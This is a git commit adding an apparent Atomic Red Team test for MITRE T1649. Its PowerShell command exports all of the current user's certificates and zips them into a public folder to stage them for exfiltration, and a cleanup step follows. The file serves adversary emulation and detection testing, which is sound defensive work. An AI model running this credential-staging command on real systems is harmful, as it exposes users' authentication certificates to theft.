T1649 Test (#2400)

* t1649

* Update T1649.yaml

* simplification and create directories

---------

Co-authored-by: Carrie Roberts <clr2of8@gmail.com>
This commit is contained in:
0xv1n
2023-04-24 20:35:54 -04:00
committed by GitHub
parent 7e99092a1c
commit 4759bb96c7
+21
View File
@@ -0,0 +1,21 @@
attack_technique: T1649
display_name: 'Steal or Forge Authentication Certificates'
atomic_tests:
- name: Staging Local Certificates via Export-Certificate
description: |
Export all user certificates and add to a compressed archive.
supported_platforms:
- windows
executor:
command: |
$archive="$env:PUBLIC\T1649\atomic_certs.zip"
$exfilpath="$env:PUBLIC\T1649\certs"
Add-Type -assembly "system.io.compression.filesystem"
Remove-Item $(split-path $exfilpath) -Recurse -Force -ErrorAction Ignore
mkdir $exfilpath | Out-Null
foreach ($cert in (gci Cert:\CurrentUser\My)) { Export-Certificate -Cert $cert -FilePath $exfilpath\$($cert.FriendlyName).cer}
[io.compression.zipfile]::CreateFromDirectory($exfilpath, $archive)
cleanup_command: |
$exfilpath="$env:PUBLIC\T1649\certs"
Remove-Item $(split-path $exfilpath) -Recurse -Force -ErrorAction Ignore
name: powershell